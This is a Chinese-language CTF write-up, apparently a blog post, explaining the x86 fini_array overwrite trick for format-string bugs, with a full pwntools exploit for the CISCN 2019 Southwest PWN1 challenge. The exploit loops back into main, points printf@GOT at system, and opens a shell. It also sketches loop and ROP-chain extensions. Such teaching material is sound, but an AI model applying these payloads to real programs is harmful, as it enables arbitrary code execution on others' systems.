首页 > 其他分享 >pwn知识——(x86)格式化字符串中利用fini_array及拓展

pwn知识——(x86)格式化字符串中利用fini_array及拓展

时间:2024-04-17 20:22:32浏览次数:22  
标签:__ x86 libc text fini pwn array main

导言

这类题型还是我复现CISCN_2019_西南的PWN1的时候遇见的,算是涨知识了

前置知识

我们都知道,在程序中最先调用的不是main,也不是__libc_start_main,而是_start,我们来看一下再x86下的_start

.text:08048420                     public _start
.text:08048420     _start          proc near               ; DATA XREF: .LOAD:08048018↑o
.text:08048420 000                 xor     ebp, ebp        ; Logical Exclusive OR
.text:08048422 000                 pop     esi
.text:08048423 -04                 mov     ecx, esp
.text:08048425 -04                 and     esp, 0FFFFFFF0h ; Logical AND
.text:08048428 -04                 push    eax
.text:08048429 000                 push    esp             ; stack_end
.text:0804842A 004                 push    edx             ; rtld_fini
.text:0804842B 008                 push    offset __libc_csu_fini ; fini
.text:08048430 00C                 push    offset __libc_csu_init ; init
.text:08048435 010                 push    ecx             ; ubp_av
.text:08048436 014                 push    esi             ; argc
.text:08048437 018                 push    offset main     ; main
.text:0804843C 01C                 call    ___libc_start_main ; Call Procedure
.text:08048441 01C                 hlt                     ; Halt
.text:08048441     _start          endp
.text:08048441

我们可以看到,在_start结束的时候会调用__libc_start_main,而我们再看__libc_start_main的函数

// attributes: thunk
int __cdecl __libc_start_main(
        int (__cdecl *main)(int, char **, char **),
        int argc,
        char **ubp_av,
        void (*init)(void),
        void (*fini)(void),
        void (*rtld_fini)(void),
        void *stack_end)
{
  return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end);

可以看到,包含有main,init,fini,既然传进去了这些参数,那必然有他们的用处,main和init就不用多说了,fini是做什么的呢?我们得跟进看一看。
image
可以看到,__libc_start_main的返回地址就是__libc_csu_fini,证明它是在__libc_start_main在结束后就会调用__libc_csu_fini,要是我们能对它进行一些修改,那说不定就能做一些“坏事”。我们来看看跟它相关的东西。
我们可以在fini_array段找到与__libc_csu_fini相关的东西,是数组

.fini_array:0804979C     ; ELF Termination Function Table
.fini_array:0804979C     ; ===========================================================================
.fini_array:0804979C
.fini_array:0804979C     ; Segment type: Pure data
.fini_array:0804979C     ; Segment permissions: Read/Write
.fini_array:0804979C     _fini_array     segment dword public 'DATA' use32
.fini_array:0804979C                     assume cs:_fini_array
.fini_array:0804979C                     ;org 804979Ch
.fini_array:0804979C     __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
.fini_array:0804979C                                             ; DATA XREF: __libc_csu_init+16↑o
.fini_array:0804979C     _fini_array     ends                    ; Alternative name is '__init_array_end'
.fini_array:0804979C

在这个数组里存放着一些函数的指针,并且在进入__do_global_dtors_aux这个函数中会遍历并且调用各个指针,__do_global_dtors_aux_fini_array_entry是一个在程序结束时需要调用的函数的名称,它的地址偏移量在这里被存储,也就是说,如果我们能把__do_global_dtors_aux_fini_array_entry指向的地址变为main函数或者其它的地址,就可以进行一些非法操作
这就是fini_array在x86下格式化字符串的基本应用
不过需要注意的是,_init_array的下标是从小到大开始执行,而_fini_array的下标是从大到小开始执行这对我们构造payload起到非常关键的作用

例题 [CISCN 2019西南]PWN1

checksec

image
基本没什么保护,看起来很简单的样子

代码审计

image
image
主函数有格式化字符串漏洞,而且看起来有后门给我们跳转的样子。但不可能,scanf限宽,只让我们输入64个字符,不够我们进行栈溢出,并且也只能执行一次格式化字符串漏洞,看起来无计可施了对不对?这个时候就该使用我们压箱底的fini_array了
因为__libc_start_main的函数返回地址是__libc_csu_fini,而fini_array与它相关联,我们只要把fini_array里的内容给修改了就好。
让我们看看最开始__do_global_dtors_aux_fini_array_entry指向谁
image
就跟我在上面写的一样,是__do_global_dtors_aux,那么我们只要把它修改成main函数的地址,就可以再次执行main函数,我们先修改一下

fini_array = 0x804979C
main_addr = 0x8048534
payload = p32(fini_array + 2) + p32(fini_array)
payload += b'%' + str(0x0804 - 0x08).encode() + b'c%4$hn' #减去0x08是因为前边已经输入了八字节
payload += b'%' + str(0x8534 - 0x0804).encode() + b'c%5$hn'
p.recvuntil('name?\n')
p.sendline(payload)

OK,现在我们再看看
image
可以看到已经成功修改了,因为在这里边会将指针遍历并调用,所以我们会再次执行main函数
至于为什么是倒序写fini_array,就跟我上面说的fini_array的下标是从大到小开始执行的,所以越往后越先执行
既然我们能再一次调用main函数,那么我们就可以在第一次main函数执行的时候把printf@got指向system@plt,在第二次main函数执行时,就可以直接往scanf里传/bin/sh\x00,从而达到getshell的效果,跟后门一样。

Payload

from pwn import *
context(arch='i386', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./xinan_PWN1')
#p = remote('node5.anna.nssctf.cn',28906)
elf = ELF('./xinan_PWN1')

fini_array = 0x804979C
printf_got = 0x804989C#elf.got['printf']
system_plt = 0x80483D0#elf.plt['system']
main_addr = 0x8048534#elf.symbols['main']

payload = p32(fini_array+2) + p32(printf_got + 2) + p32(printf_got) + p32(fini_array)
payload += b'%' + str(0x0804 - 0x10).encode() + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + str(0x83D0 - 0x0804).encode() + b'c%6$hn'
payload += b'%' + str(0x8534 - 0x83D0).encode() + b'c%7$hn'
gdb.attach(p)
p.recvuntil('name?\n')
p.sendline(payload)

p.recvuntil('name?\n')
p.sendline(b'/bin/sh\x00')
p.interactive()

后日谈

这玩意在x64的情况其实跟x86差不多(特指格式化字符串),就是多了寄存器传参,步骤会变得更加繁琐一点。这个技巧我觉得更适用于无计可施的时候,在其它攻击方法能用的时候,都不会挑这个来用,只有想不到别的办法的时候,它的价值才体现出来
当然,fini_array的作用远不止于此,它还可以和更多的攻击方式利用起来
比如

Loop链

fini_array[0] = __libc_csu_fini
fini_array[1] = target_addr

因为是从大到小开始执行,所以它的执行流程是这样的
_start-->__libc_start_main-->libc_csu_init-->main-->libc_csu_fini-->target_addr-->libc_csu_fini-->target_addr-->...
只要你不改变fini_array的值,我们就可以无限次执行下去,任何的one_byte漏洞都会被无限放大,实现任意地址写

ROP链攻击

这个常常与栈迁移联系在一起
当栈空间不足时,我们可以把栈迁移到fini_array里去,先构造Loop链使它无限循环,然后往fini_array * 0x10后布置ROP链
当ROP链布置完后,要想跳出循环

fini_array[0]修改为leave_ret,把fini_array[1]修改为ret

修改完后就能getshell了

至于为什么没有例题...是因为我还没有遇到,如果有我后续会补上来的

标签:__,x86,libc,text,fini,pwn,array,main
From: https://www.cnblogs.com/falling-dusk/p/18141675

相关文章

  • 有限元分析与应用 | Finite Element Method (FEM) Analysis and Applications
    第1讲引论/1.2变形体力学的要点https://learning.edx.org/course/course-v1:TsinghuaX+70120073x+1T2024/block-v1:TsinghuaX+70120073x+1T2024+type@sequential+block@5c00cb7f61af4dc8abb857abadc46151/block-v1:TsinghuaX+70120073x+1T2024+type@vertical+block@579410847......
  • MDT故障排除 未能找到路径: ****\x86\WinPE_OCs的一部分
    简介:memdocs/memdocs/configmgr/mdt/known-issues.md在main·MicrosoftDocs/memdocs(github.com)升级到适用于Windows11版本22H2的ADK后,尝试创建启动映像时,使用MDT创建启动映像向导失败,并出现以下错误:找不到路径“C:\ProgramFiles(x86)\WindowsKits\10\Assessment......
  • 做re不小心噶了然后转生成为pwn高手
    ret2text一个简单的栈溢出栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者......
  • 一种新的姿势:程序try/catch抛出异常之绕过canary pwn121
    一种新的姿势:程序try/catch抛出异常之绕过canary我前面发了不少关于绕过canary的姿势,先总结一下,现在绕过canary的姿势有泄露,爆破,格式化字符串绕过,多线程劫持TLS绕过,stack_smashing,今天介绍一种新的姿势,就是程序处理异常时,如果异常被上一个函数的catch捕获,那么上个函数的rbp就会......
  • 52 Things: Number 30: Roughly outline the BR security definition for key agreeme
    52Things:Number30:RoughlyoutlinetheBRsecuritydefinitionforkeyagreement52件事:第30件:大致概述密钥协议的BR安全定义 Thisisthelatestinaseriesofblogpoststoaddressthelistof'52ThingsEveryPhDStudentShouldKnowToDoCryptography':a......
  • 52 Things: Number 32: difference between game-based and simulation-based securit
    52Things:Number32:differencebetweengame-basedandsimulation-basedsecuritydefinitions52件事:数字32:基于游戏和基于模拟的安全定义之间的区别 Thisisthelatestinaseriesofblogpoststoaddressthelistof'52ThingsEveryPhDStudentShouldKnowt......
  • 52 Things: Number 27: What is the AEAD security definition for symmetric key enc
    52Things:Number27:WhatistheAEADsecuritydefinitionforsymmetrickeyencryption?52件事:27号:对称密钥加密的AEAD安全定义是什么? Thisisthelatestinaseriesofblogpoststoaddressthelistof'52ThingsEveryPhDStudentShouldKnow'todoCryptog......
  • 52 Things: Number 28: What is the IND-CCA security definition for public key enc
    52Things:Number28:WhatistheIND-CCAsecuritydefinitionforpublickeyencryption?52件事:第28件:公钥加密的IND-CCA安全定义是什么? Thisisthelatestinaseriesofblogpoststoaddressthelistof'52ThingsEveryPhDStudentShouldKnow'todoCryptog......
  • 52 Things: Number 29: What is the UF-CMA security definition for digital signatu
    52Things:Number29:WhatistheUF-CMAsecuritydefinitionfordigitalsignatures?52件事:第29件:数字签名的UF-CMA安全定义是什么? Thisisthelatestinaseriesofblogpoststoaddressthelistof'52ThingsEveryPhDStudentShouldKnowToDoCryptography'......
  • 攻防世界 Level0 PWN
    查壳[*]'\level'Arch:amd64-64-littleRELRO:NoRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE(0x400000)ida//mainint__cdeclmain(intargc,constchar**argv,constchar**envp){writ......